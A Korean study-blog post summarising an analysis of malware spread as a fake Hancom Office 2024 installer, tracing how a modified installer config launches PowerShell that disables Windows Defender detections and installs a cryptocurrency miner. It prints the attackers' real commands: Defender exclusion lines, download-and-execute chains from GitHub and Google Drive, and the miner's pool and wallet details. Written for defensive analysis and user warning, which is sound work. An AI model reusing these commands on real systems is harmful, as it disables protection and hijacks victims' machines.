기술 스터디

[250325] 한컴오피스 2024 설치파일로 위장해 유포 중인 악성코드

jisu0924 2025. 3. 25. 21:08

* 본 글은 plainbit의 한컴오피스 2024 설치파일로 위장해 유포 중인 악성코드(https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/)를 기반으로 작성됨.


 

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

해당 게시글에 나와 있는 링크를 타고 다운로드를 한 후 압축 프로그램으로 실행한 결과는 다음과 같음

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

파일 이름과 폴더 구조로만 보았을 때는 정상 프로그램처럼 보이지만 한글과 컴퓨터에서 발표한 한컴 오피스 설치 파일과 해당 파일을 비교해 보면 추가되거나 수정된 파일이 있는 것을 볼 수 있음

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

추가된 파일은 다음과 같음

H2024\Install\HOffice2024Update_20240123.exe 한컴 오피스 업데이트 파일
H2024\Install\Install_UI\lo\HOffice130.exe Nircmd
H2024\Install\Install_UI\lo\7z.exe 7zip
H2024\Install\Install_UI\ci.png 프로그램 실행 시 "교육기관용" 문구 삭제
H2024\Install\Install_UI\Logo_Copy.bat

 

수정된 파일은 다음과 같음

수정된 파일 H2024\Install\InstallerConfig.ini 한컴 오피스 설치를 위한 설정 파일

 

 

악성코드 동작 흐름

앞에서 나온 수정 파일 InstallerConfig.ini은 한컴 오피스 설피 시 필요한 설정 값들이 다음과 같이 설정돼 있음

  • PreInstall: 프로그램 설치 전 버전, 이름 등과 같은 설정 값
  • Install: 프로그램 설치를 위한 msi 파일 및 옵션 값
  • PostInstall: 설치 완료 후 실행할 프로그램 및 인자 값

정상 파일에서는 PostInstall 파일 섹션이 비어 있지만, 다운로드 설치 파일에는 PostInstall 섹션에 ExtRun*, ExtRunParam* 값이 입력되어 있었음 -> 설치 이후 특정 행위를 수행하도록 조작되었음

 

설치 이후 동작하는 코드를 재구성한 결과는 다음과 같음

HOffice130.exe

Nircmd.exe로, Nirsoft社에서 개발한 사용자 인터페이스 없이 명령어를 실행할 수 있는 명령 유틸리티 프로그램임

 

추가된 코드는 다음과 같은 방식으로 스크립트를 실행함

  1. NirCmd.exe 프로그램을 통해 파워쉘(Powershell.exe)을 Install\Install_UI\lo\ 경로에 vcredist.exe라는 파일 명으로 복사
  2. 파워쉘 명령어를 통해 Windows Defender에 특정 탐지 ID 예외 설정
  3. github 사이트에 업로드 되어 있는 스크립트를 실행

Github 사이트에 업로드 된 파워쉘 스크립트 실행

Github 사이트 URL: hxxps://gist[.]github[.]com/dedob/7c9215644008bfe265a747d703f5356e/raw/H

 

접속하면 다음과 같이 빈 페이지로 보이지만

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

Ctrl+U로 소스 코드를 확인해 보면 다음과 같은 코드가 존재함

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

해당 변수들을 디코딩한 결과 특정 URL로 설정돼 있었음

$TkxBgEzPr = "aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO"
$ZCiANdmlr = "aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS8wNjVkMTYyNTk1YWFkN2E5YmE2ODMwY2M5MzllYWFmNC9yYXcvSU5GTw=="
$pybjWzOsw = "aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE"
$oyJVyJMCf = "aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO"
$CPuWmDCEv = "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ=="

이후 각 URL에 대해 Get-WebContent함수를 호출함

 

Get-WebContent함수의 동작 과정

  1. 전달 받은 URL의 웹 컨텐츠를 불러옴
  2. CheckMP' 문자열이 존재하는지 확인하고 해당 키워드를 바탕으로 추가 데이터를 불러옴
  3. Get-WebContent함수의 실행 결과를 파워쉘 스크립트로 다시 실행하여 추가 악성 행위를 진행

추가 악성 행위를 위한 코드

  1. Windows Defender 탐지 우회를 위해 각종 예외 항목을 등록한 후 거점 폴더를 생성함
  2. 이후 BITS 전송을 통해 7z.exe를 다운받아 거점 폴더에 저장
  3. 구글 드라이브 링크를 통해 추가 악성 행위를 위한 스크립트를 다운로드 받아 실행

다운된 추가 스크립트는 다음과 같음

cmd /c powershell -e QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AVABoAHIAZQBhAHQASQBEAEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AXwBJAGQAcwAgADIAMQA0ADcAOAA0ADIAOQAzADgAIAAtAFQAaAByAGUAYQB0AEkARABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuAF8AQQBjAHQAaQBvAG4AcwAgAEEAbABsAG8AdwA=;
powershell Add-MpPreference -ThreatIDDefaultAction_Ids 251873 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147831456 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147814524 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147735503 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ThreatIDDefaultAction_Ids 2147831456 -ThreatIDDefaultAction_Actions Allow;
Add-MpPreference -ExclusionProcess 'software_reporter_tool.exe';
Add-MpPreference -ExclusionPath 'C:\Windows\Temp';
mkdir 'C:\ProgramData\Google';
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1xXCx9GbnWv3rupomjtPawQ2SPzNFtq_9?alt=media&key=AIzaSyBgMEqXB9ljAXZ-Bc2cqLIKI00XScrwDd8&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\7z.exe';
Invoke-WebRequest -Uri "https://drive.google.com/uc?export=download&id=1YLZkhEOEKgwoPaL5Fa74jMfm3p3pVk7_" -UseBasicParsing | Invoke-Expression

 

$KKdjvLoROvcuazgeV 변수를 디코딩하고, 바이트 배열을 로드함 -> 어셈블리에서 ITJCAelC라는 이름을 가진 함수를 호출

 

파일의 해시 값은 다음과 같음

SHA1 3FEA6695B198373AE2FA074DF0092106DF99F6F6

 

위 해시 값을 VirusTotal에 검색하면 악성파일로 탐지하는 것을 볼 수 있음

https://blog.plainbit.co.kr/analysis-fake-hancomoffice-install-file/

 

악성파일 실행

NET 디컴파일러를 통해 해당 바이너리를 정적분석한 결과 클래스와 함수명이 난독화되어 있는 것을 볼 수 있음 -> VMProtect로 .NET 바이너리를 패킹했을 때 해당 패턴이 나타남, Method가 가상화 되어있는 것을 식별할 수 있음

 

파라미터를 추출 결과 다음과 같은 순서로 행위 흐름을 볼 수 있었음

  1. 피해자 PC 정보 확인
  2. 확인된 정보를 특정 채널에 전송
  3. 파워쉘 스크립트 실행
  4. 각 네트워크 인터페이스의 DNS를 8.8.8.8, 8.8.4.4 로 변경
  5. 파워쉘 스크립트 실행을 작업 스케줄러에 등록
  6. 자가 삭제

위 과정에서 다음과 같은 스크립트가 추가적으로 실행됨

cmd /c powershell Start-Sleep -Seconds 9;
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1Utm-0LIOeO-uKi673fZzUclc0ysgWgfu?alt=media&key=AIzaSyDEYROoFqP3AYzPJ_gVudpm3TN02mRXpGw&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\7z.exe';
Start-BitsTransfer -Source 'https://www.googleapis.com/drive/v3/files/1B1zqcJtCXFKwu4_HGsr9qMH1gRlFKY6J?alt=media&key=AIzaSyAfgZtUaAFDhjNJ6JVG1A06eC1gPjjaq24&supportsAllDrives=True' -Destination 'C:\ProgramData\Google\.png.001';
cmd.exe /c "C:\ProgramData\Google\7z.exe" x -oC:\ProgramData\Google\ C:\ProgramData\Google\.png.001 -px -y;
C:\ProgramData\Google\software_reporter_tool.exe

 

해당 악성코드는 SmartAssembly로 패킹되어 있으며, 리소스에 저장되어 있는 파일을 지정된 키와 IV를 사용하여 3DES 알고리즘으로 복호화한 뒤 메모리에서 실핼함

 

복호화된 바이너리 -> Costura로 패키징된 리소스를 Protobuf-net을 사용하여 데이터 역직렬화를 풀어 악성코ㄱ드를 실행하는 데 사용

 

dialer.exe가 CPU와 램 사용량을 상당히 차지하고, 특정 IP와 커넥션이 연결되어 있는 것을 발견함

 

dialer.exe

윈도우 전화걸기 프로그램 -> 현재는 사용하지 않음

=> 정상 프로그램에 악성코드가 Injection되어 실행중임을 추정

 

WireShark를 활용하여 확인된 IP 주소를 필터링하여 확인한 결과 -> 주기적 통신이 이루어짐

-> /api/endpoint.php에 PC 정보와 같은 데이터를 전솔하는 정황 확인. 공격자 서버로 전송되는 데이터는 다음과 같음

id yjbzkxhslduegnai
computername DESKTOP-DQDKRU5
username mal
gpu NVIDIA GeForce GTX 1650, Intel(R) UHD Graphics 770
cpu 12th Gen Intel(R) Core(TM) i7-12700K
remoteconfig  
version 3.4.0
activewindow C:\\Program Files\\Wireshark\\Wireshark.exe
runtime 2524
type xmrig
pool minecraftrpgserver.com
port 27037
algo rx/0
worker  
password  
user ZEPHs9eCMMza6HRoytdTWnUBP28xnRMhUK7z6smekMurCVVS57GPfqK5uewE7cgiqn4jBoJbi9teC9e6fraJaQoL2UhTMXNB1vs
hashrate  
status 2

 

또 응답값에서 stealth-targets, kill-targets라는 항목 확인 -> 특정 프로세스 탐지되었을 때 채굴을 일시중지하거나 종료하는 것으로 추정

 

=> 종합해 보면 공격자는 피해자의 PC 정보를 수집하며 채굴 악성코드를 실행함

 

결론

유포자는 정보 공유가 활발한 커뮤니티를 활용하여 한국에서 인기있는 문서 편집 프로그램을 위장하여 악성 코드를 유포함. 따라서 비정상적 경로를 통해 프로그램을 다운한 적이 있다면 PC에 이상이 없는지 점검해 보아야 함